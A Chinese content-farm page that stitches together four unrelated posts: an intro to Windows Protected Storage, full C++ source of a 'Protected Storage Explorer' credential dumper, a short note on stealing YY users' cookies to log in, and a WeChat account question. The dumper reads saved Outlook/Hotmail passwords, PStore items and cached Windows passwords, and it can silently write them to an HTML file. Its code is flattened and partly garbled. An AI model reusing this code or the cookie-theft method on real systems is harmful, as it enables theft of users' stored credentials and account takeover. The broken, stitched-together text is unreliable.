欢迎来到个人简历网!永久域名:gerenjianli.cn (个人简历全拼+cn)
当前位置:首页 > 范文大全 > 实用文>详谈PStore及账号信息

详谈PStore及账号信息

2022-06-23 08:33:17 收藏本文 下载本文

“打开礼物吧”通过精心收集,向本站投稿了4篇详谈PStore及账号信息,下面是小编为大家整理后的详谈PStore及账号信息,仅供大家参考借鉴,希望大家喜欢!

详谈PStore及账号信息

篇1:详谈PStore及账号信息

1.简介:什么是PStore? PStore的全称为:Protected Storage,

详谈PStore及账号信息

在系统服务中我们可以看到它(9x没有)。它的作用就是为应用程序的安全保存做一个接口。在它里面记录了一些隐密的信息,比方说: 1. Outlook 密码 2. 删除的Outlook帐号密码 3. IE 密码保存站点密

篇2:通过Protected Storage获取账号信息

我们知道NT以后的系统中有一个这样的服务:Protected Storage,他是用来储存本地密码和网上服务密码的服务,包括填表时的“自动完成”功能以及OUTLOOK对应的账号信息。相应的我们就可以通过该服务来获取保存的账号信息。 源代码如下:

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// ////Protected Storage Explorer //// By Hirosh ////www.hirosh.net //// //// ////No CopyRights- Feel Free to Cut & Paste //// //// ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////#include “stdafx.h”#include #include “resource.h”#import “pstorec.dll” no_namespace har SavingFname[MAX_PATH];HWND hwndlistview;BOOL iS9x=FALSE;typedef struct TOOUTDATA{char POPuser[100];char POPpass[100];char POPserver[100];} OOUTDATA;OOUTDATA OutlookData[50];int Index=0;void EnumOutlookAccounts{ZeroMemory(OutlookData,sizeof(OutlookData));HKEY hkeyresult ,hkeyresult1;long l,i;char name[200],skey[200];DWORD dw2;FILETIME f;lstrcpy(skey,“SoftwareMicrosoftInternet Account ManagerAccounts”);LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS,&hkeyresult1 );if(ERROR_SUCCESS != lResult)return ;i=0;l=0;BYTE Data[150];BYTE Data1[150];DWORD size;int j;j=0;DWORD type=REG_BINARY;while(l!=ERROR_NO_MORE_ITEMS){dw2=200;l=RegEnumKeyEx(hkeyresult1,i,name,&dw2,NULL,NULL,NULL,&f);lstrcpy(skey,“SoftwareMicrosoftInternet Account ManagerAccounts”);lstrcat(skey,“”);lstrcat(skey,name);RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult );size=sizeof(Data);if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )“HTTPMail User Name” , 0, &type, Data, &size )==ERROR_SUCCESS){lstrcpy(OutlookData[oIndex].POPuser,(char *)Data);ZeroMemory(Data,sizeof(Data));lstrcpy(OutlookData[oIndex].POPserver,“Hotmail”);size=sizeof(Data);if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )“HTTPMail Password2” , 0, &type, Data1,&size ) ==ERROR_SUCCESS){int totnopass=0;char mess[100];for(int i=2;i”);SaveToDisk(resname);SaveToDisk(“”);SaveToDisk(restype);SaveToDisk(“”);SaveToDisk(usrname);SaveToDisk(“”);SaveToDisk(pass);SaveToDisk(“”);SaveToDisk(“rn”);}else{SaveToDisk(“rn”);SaveToDisk(“”);SaveToDisk(usrname);SaveToDisk(“”);SaveToDisk(pass);SaveToDisk(“”);SaveToDisk(“rn”);}}return TRUE;}void EnumPStorage(BOOL Save){typedef HRESULT (WINAPI *tPStoreCreateInstance)(IPStore **, DWORD, DWORD, DWORD);HMODULE hpsDLL;hpsDLL = LoadLibrary(“pstorec.dll”);tPStoreCreateInstance pPStoreCreateInstance;pPStoreCreateInstance = (tPStoreCreateInstance)GetProcAddress(hpsDLL, “PStoreCreateInstance”);IPStorePtr PStore;HRESULT hRes = pPStoreCreateInstance(&PStore, 0, 0, 0);IEnumPStoreTypesPtr EnumPStoreTypes;hRes = PStore->EnumTypes(0, 0, &EnumPStoreTypes);if (!FAILED(hRes)){GUID TypeGUID;char szItemName[512];char szItemData[512];char szResName[1512];char szResData[512];char szItemGUID[50];while(EnumPStoreTypes->raw_Next(1,&TypeGUID,0) == S_OK){wsprintf(szItemGUID,“%x”,TypeGUID);IEnumPStoreTypesPtr EnumSubTypes;hRes = PStore->EnumSubtypes(0, &TypeGUID, 0, &EnumSubTypes);GUID subTypeGUID;while(EnumSubTypes->raw_Next(1,&subTypeGUID,0) == S_OK){IEnumPStoreItemsPtr spEnumItems;HRESULT hRes = PStore->EnumItems(0, &TypeGUID, &subTypeGUID, 0, &spEnumItems);LPWSTR itemName;while(spEnumItems->raw_Next(1,&itemName,0) == S_OK){wsprintf(szItemName,“%ws”,itemName);char chekingdata[200];unsigned long psDataLen = 0;unsigned char *psData = NULL;_PST_PROMPTINFO *pstiinfo = NULL;hRes = PStore->ReadItem(0,&TypeGUID,&subTypeGUID,itemName,&psDataLen,&psData,pstiinfo,0);if(lstrlen((char *)psData)<(psDataLen-1)){int i=0;for(int m=0;m

cbResource+1;if(nCount>1023) nCount=1023;lstrcpyn(buff, pce->abResource, nCount);buff[nCount] = 0;CharToOem(buff, buff2);if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;lstrcpy(dat->pBuffer+dat->nBufPos,buff2);dat->nBufPos+=lstrlen(buff2)+1;nCount=pce->cbPassword+1;if(nCount>1023) nCount=1023;lstrcpyn(buff, pce->abResource+pce->cbResource, nCount);buff[nCount] = 0;CharToOem(buff, buff2);if((dat->nBufPos+lstrlen(buff2))>=dat->nBufLen) return FALSE;lstrcpy(dat->pBuffer+dat->nBufPos,buff2);dat->nBufPos+=lstrlen(buff2)+1;return TRUE;}void CashedPass(BOOL Save){HMODULE hLib=LoadLibrary(“MPR.DLL”);PASSCACHECALLBACK_DATA dat;dat.pBuffer=(char *)malloc(65536);dat.nBufLen=65536;dat.nBufPos=0;pWNetEnumCachedPasswords = (ENUMPASSWORD)GetProcAddress(hLib, “WNetEnumCachedPasswords”);pWNetEnumCachedPasswords(NULL, 0, 0xff, AddPass, (DWORD) &dat);char *svStr;svStr=dat.pBuffer;do {char *svRsc=svStr;svStr+=lstrlen(svStr)+1;char *svPwd=svStr;svStr+=lstrlen(svStr)+1;char szUser[1024];char szPass[1024];AddItemm(Save,“”,“”,svRsc,svPwd);}while(*svStr!='');FreeLibrary(hLib);};/////////////////////////////////////////#define TableHeader “

”#define Table “
”#include LRESULT CALLBACK DLgProc(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam){OPENFILENAME ofn;char szFile[MAX_PATH];switch (message){case WM_INITDIALOG:SendMessage(hDlg, WM_SETICON, ICON_SMALL, (LPARAM)LoadIcon(GetModuleHandle(0),MAKEINTRESOURCE(IDI_ICON1)));if(!iS9x)SetWindowText(hDlg,“Protected Storage www.hirosh.NET”);else SetWindowText(hDlg,“Cashed Passwords www.hirosh.NET”);hwndlistview = GetDlgItem(hDlg, IDC_LIST3);LVCOLUMN lvcol;if(!iS9x){lvcol.mask =LVCF_TEXT;;lvcol.pszText = “Resource Name”;ListView_InsertColumn(hwndlistview, 0, &lvcol);ListView_SetColumnWidth(hwndlistview, 0, 160);lvcol.mask =LVCF_TEXT;lvcol.pszText = “Resource Type”;ListView_InsertColumn(hwndlistview, 1, &lvcol);ListView_SetColumnWidth(hwndlistview, 1, 110);lvcol.mask =LVCF_TEXT;lvcol.pszText = “User Name/Value”;ListView_InsertColumn(hwndlistview, 2, &lvcol);ListView_SetColumnWidth(hwndlistview, 2, 200);lvcol.mask =LVCF_TEXT;lvcol.pszText = “Password”;ListView_InsertColumn(hwndlistview, 3, &lvcol);ListView_SetColumnWidth(hwndlistview, 3, 100);EnumOutlookAccounts();EnumPStorage(FALSE);}else{lvcol.mask =LVCF_TEXT;lvcol.pszText = “User Name/Value”;ListView_InsertColumn(hwndlistview, 0, &lvcol);ListView_SetColumnWidth(hwndlistview, 0, 250);lvcol.mask =LVCF_TEXT;lvcol.pszText = “Password”;ListView_InsertColumn(hwndlistview, 1, &lvcol);ListView_SetColumnWidth(hwndlistview, 1, 150);CashedPass(FALSE);}ListView_SetExtendedListViewStyle(hwndlistview,LVS_EX_FULLROWSELECT);return TRUE;case WM_COMMAND:switch ( LOWORD(wParam) ){case IDOK:ZeroMemory(&ofn, sizeof(OPENFILENAME));ofn.lStructSize = sizeof(OPENFILENAME);ofn.hwndOwner = hDlg;lstrcpy(szFile,“*.*”);ofn.lpstrFile =“pstectedstorage.htm”;ofn.nMaxFile = sizeof(szFile);ofn.lpstrFilter = “Htm*.htm”;ofn.nFilterIndex = 1;ofn.lpstrFileTitle = NULL;ofn.nMaxFileTitle = 0;ofn.lpstrInitialDir = NULL;ofn.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST;if (GetSaveFileName(&ofn)==TRUE) {lstrcpy(SavingFname,ofn.lpstrFile);if(strstr(SavingFname,“.htm”)==0)lstrcat(SavingFname,“.htm”);SaveToDisk(TableHeader);if(!iS9x){SaveToDisk(“Resource NameResource TypeUserName/ValuePassword”);EnumOutlookAccounts();EnumPStorage(TRUE);}else{SaveToDisk(“UserName/ValuePassword”);CashedPass(TRUE);}SaveToDisk(Table);}break;case IDCANCEL:EndDialog(hDlg, LOWORD(wParam));ExitProcess(0);break;break;}}return FALSE;}//int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){if((int)GetVersion() < 0) iS9x=TRUE;else iS9x=FALSE;if(lpCmdLine[0]==NULL){InitCommonControls();DialogBox(hInstance, (LPCTSTR)IDD_DIALGMAIN, 0, (DLGPROC)DLgProc);}else {lstrcpy(SavingFname,lpCmdLine);SaveToDisk(TableHeader);if(!iS9x){SaveToDisk(“Resource NameResource TypeUserName/ValuePassword”);EnumOutlookAccounts();EnumPStorage(TRUE);}else{SaveToDisk(“UserName/ValuePassword”);CashedPass(TRUE);}SaveToDisk(Table);}return 0;}

篇3:通过发送YY信息获取他人账号并登陆漏洞预警

首先发一个YY信息 给网友,这个是测试的 没有进行诱导

然后打开

cookie来了

用老兵试一下

登陆进去了

修复方案:

过滤

篇4:做一个微信公共账号 生活服务类 提供资讯信息 我该怎么入手?

1、我们想先占有网络阵地,拥有一定流量,客户基础

2、前期想先提供城市生活讯息,吃喝玩乐等,但打算只从一个方向切入作为重点,其他辅助提供,表现精而大。但只针对我们城市,次一线城市,不及北上广,但比二线强

3、我现在觉得网络资讯太多,不知道该从和下手,谁给我点建议

我的想法可以综合提供 大众点评 携程等讯息 只针对我们城市 再加以装饰,可以再附带商场、品牌打折信息、生活用品比价最实惠等

[做一个微信公共账号 生活服务类 提供资讯信息 我该怎么入手?]

【详谈PStore及账号信息】相关文章:

1.远程研修账号登录

2.第一范文网能注册账号吗

3.信息安全隐患分析及对策

4.网络信息安全及防护

5.详谈新站关键词排名不稳定之解析

6.初中信息技术课及信息素质教育论文

7.物业管理信息服务部工作总结及工作计划

8.图书馆信息服务模式及创新研究

9.信息技术科教学及机房管理工作总结

10.电力公司信息安全威胁及对策论文

下载word文档
《详谈PStore及账号信息.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部